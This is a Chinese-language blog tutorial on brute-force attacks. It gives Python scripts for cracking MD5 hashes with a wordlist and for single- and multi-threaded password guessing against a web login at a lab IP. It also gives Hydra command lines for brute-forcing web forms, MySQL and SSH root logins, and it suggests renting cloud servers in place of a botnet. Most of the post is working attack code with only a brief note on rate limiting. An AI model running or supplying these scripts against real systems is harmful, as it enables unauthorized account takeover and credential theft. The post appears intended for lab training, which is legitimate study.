网络安全 -- 暴力破解

暴力破解

介绍

暴力破解本身就是一种洪泛攻击

应用场景:只要有密码的地方均可以尝试爆破

应用条件:爆破的时候要求访问次数不受约束

防护方案:次数限制 一个IP/账号仅可以尝试几次,但是这样可能出现攻击者使用用户的账号尝试,导致合法的用户别禁封

没有肉鸡怎么办?(没有多个公网IP) 在各个云服务器平台临时租借服务器

破解MD5

场景:已知MD5的加密的字符串,如何获取明文?

解决方案:

  • 算法碰撞,一串128位的MD5(32位16进制),组合是2^128 但是明文无限 以无限对有限 必然存在两个明文有一样的MD5值

  • 字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5加密,和目标字符串进行对比

def md5(source):
    with open('../dict/top19576.txt') as f:
        passwords = f.readlines()
    count = 1
    for password in passwords:
        if hashlib.md5(password.strip().encode()).hexdigest() == source:
            print(f'"{password.strip()}"的md5值为"{source}"')
            print('一共查找{0}次'.format(count))
            exit(0)
        count += 1

单线程爆破

# 单线程爆破
# 已知
def wn_01():
    with open('../dict/top19576.txt')as file:
        pw_list = file.readlines()
    url = 'http://192.168.142.132:8080/woniusales/user/login'
    count = 0
    for password in pw_list:
        data = {'username':'admin','password':password.strip(),'verifycode':'0000'}
        resp = requests.post(url=url,data=data)
        if 'login-fail' not in resp.text:
            print(password.strip())
            print(count)
            exit(0)
        count+=1

多线程爆破

import requests,threading

# 多线程爆破
# 500个线程 每个线程
def wn_02(username):
    with open('../dict/top19576.txt')as file:
        pw_list = file.readlines()
    url = 'http://192.168.142.132:8080/woniusales/user/login'
    for password in pw_list:
        data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}
        resp = requests.post(url=url, data=data)
        if 'login-fail' not in resp.text:
            print(username.strip(),password.strip())
            exit(0)
        count += 1

if __name__ == '__main__':
    # 读取用户名字典 遍历
    with open('../dict/user.txt') as file:
        usernames = file.readlines()
    for username in usernames:
        threading.Thread(target=wn_02,args=(username.strip(),)).start()

多线程分任务爆破

# 例如:用户字典有5000条数据 要求:500个线程,每个线程处理10个用户
# 核心:如何给多线程分配任务,此类思路可以解决大部分多线程的问题,比如多线程爬虫,扫描工作
def wn_03(username_list):
    with open('../dict/top19576.txt')as file:
        pw_list = file.readlines()
    url = 'http://192.168.142.132:8080/woniusales/user/login'
    for username in username_list:
        for password in pw_list:
            data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}
            resp = requests.post(url=url, data=data)
            if 'login-pass' in resp.text:
                print(username.strip(), password.strip())


if __name__ == '__main__':
    # 读取用户名字典 遍历
    with open('../dict/user.txt') as file:
        usernames = file.readlines()
    for i in range(0, len(usernames), 100):
        usernames_part = usernames[i:i + 100]
        threading.Thread(target=wn_03, args=(usernames_part,)).start()

暴力破解WiFi

代码

UI界面

Linux的Hydra爆破

参数

  • -l 指定用户名 -L 指定用户名字典文件

  • -p 指定密码 -P 指定密码字典文件

  • -C CSV文件

  • -e nsr 让hydra判断是否登录成功

  • -o 输出的日志文件的地址

  • -t 线程数量 默认16

  • -w 发送请求前暂停的时间

  • -s 端口号

  • -m 选项

# 爆破网站密码 login:参数:失败情况
hydra -s 8080 -L ./usernames.txt -P ./password.txt 192.168.10.22 
-m 'xx/xxx/login:username=^USER^&password=^PASS^:login-fail' http-form-post

# 爆破mysql
hydra -L ./usernames.txt -P ./password.txt 192.168.10.22 mysql

# 爆破ssh
hydra -l root -P ./password.txt -vV -e ns 192.168.10.22 ssh

# 字典生成 https://blog.csdn.net/qq_38154820/article/details/106329498
crunch
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值